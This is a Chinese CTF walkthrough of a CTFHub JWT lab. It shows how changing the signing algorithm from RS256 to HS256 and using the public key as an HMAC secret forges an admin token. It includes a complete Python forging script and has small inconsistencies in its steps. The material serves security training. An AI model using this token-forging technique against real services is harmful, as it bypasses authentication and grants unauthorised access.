CTFHub:第八十五关——JSONWebToken——修改签名算法"

admin 2026-10-18 13:04:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

CTFHub:第八十五关——JSON Web Token——修改签名算法

原创

君陌社区
君陌社区

君陌社区渗透安全笔记

2026年7月14日 20:00
江苏

在小说阅读器读本章

去阅读

CTFHub网址:【https://www.ctfhub.com/#/index】

登录账号
点击技能树

选择“web进阶-JSON Web Token-修改签名算法”开启题目

题目描述: 有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的

漏洞原理:服务器允许将非对称签名算法(RS256)改为对称算法(HS256),攻击者可直接使用公开的公钥作为对称密钥伪造管理员签名,从而绕过身份验证

单击打开链接进入靶场实战练习环境,显示了一个登陆页面和一段源码

输入用户名admin,密码123456,点击登录,显示显示token和源码

login报文,token的第一部分解密后为{\"typ\":\"JWT\",\"alg\":\"RS256\"}

index报文,token的第二部分解密后为{\"username\":\"admin\",\"role\":\"guest\"}

将index报文发送到repeater

打开Json.cn网站,将token上传解密得到头部、载荷、私钥和公钥

回到靶场练习实战环境登陆后页面下载publickey.pem

并将其放在与脚本用以目录下

接下来使用脚本来完成token计算,代码如下所示。

第一部分依旧是{\"typ\":\"JWT\",\"alg\":\"RS256\"}

将第二部分改为{\"username\":\"admin\",\"role\":\"admin\"}

# 君陌社区# CTFHub:第八十五关——JSON Web Token——修改签名算法# coding=GBKimport hmacimport hashlibimport base64import requests
# 1. 下载公钥(如果尚未下载)# url = \"http://challenge-<id>.ctfhub.com:port/publickey.pem\"# r = requests.get(url)# with open(\"publickey.pem\",\"wb\") as f:#     f.write(r.content)
# 2. 读取公钥文件with open('publickey.pem', 'r') as f:    key = f.read()
# 3. 定义新的Header和Payload# 将算法改为HS256,角色改为adminheader = '{\"typ\": \"JWT\", \"alg\": \"HS256\"}'payload = '{\"username\": \"admin\", \"role\": \"admin\"}'
# 4. 进行Base64Url编码def base64url_encode(data):    return base64.urlsafe_b64encode(data.encode(\"utf-8\")).decode(\"utf-8\").rstrip(\"=\")
encoded_header = base64url_encode(header)encoded_payload = base64url_encode(payload)
# 5. 拼接Token的前两部分token = encoded_header + \".\" + encoded_payload
# 6. 使用公钥作为HMAC的密钥,计算签名signature = base64.urlsafe_b64encode(    hmac.new(        bytes(key, \"UTF-8\"),        token.encode(\"utf-8\"),        hashlib.sha256    ).digest()).decode(\"UTF-8\").rstrip(\"=\")
# 7. 组合成最终的JWTforged_token = token + \".\" + signatureprint(forged_token)

将生伪造的token输入到请求的token字段发送,得到flag数据

提交flag数据,完成靶场实战练习


CTFHub:第八十五关——JSONWebToken——修改签名算法" 网络安全文章

CTFHub:第八十五关——JSONWebToken——修改签名算法"

本文档为CTFHubJWT修改签名算法挑战的实战教程。核心漏洞在于服务器允许将非对称签名算法RS256改为对称算法HS256。攻击者通过获取公开公钥,将其作为HMAC对称密钥,伪造包含admin角色的JWT令牌,从而绕过身份验证。文章提供了详细的攻击步骤与Python脚本实现,最终可获取flag完成挑战。
报告:头部银行AI支出已占IT总预算15%以上,未来的AI人才或分为3种" 网络安全文章

报告:头部银行AI支出已占IT总预算15%以上,未来的AI人才或分为3种"

毕马威报告指头部银行AI支出超IT预算15%,正迈向核心业务嵌入。报告提出四步生成式AI验证体系以应对幻觉等风险,建议强化数据安全、关注微信生态AI潜力。未来银行人才将转为AI治理者,分为独立贡献者、直接负责人与球员教练三种,银行应以可量化业务价值驱动投入并重塑组织架构。
评论:0   参与:  0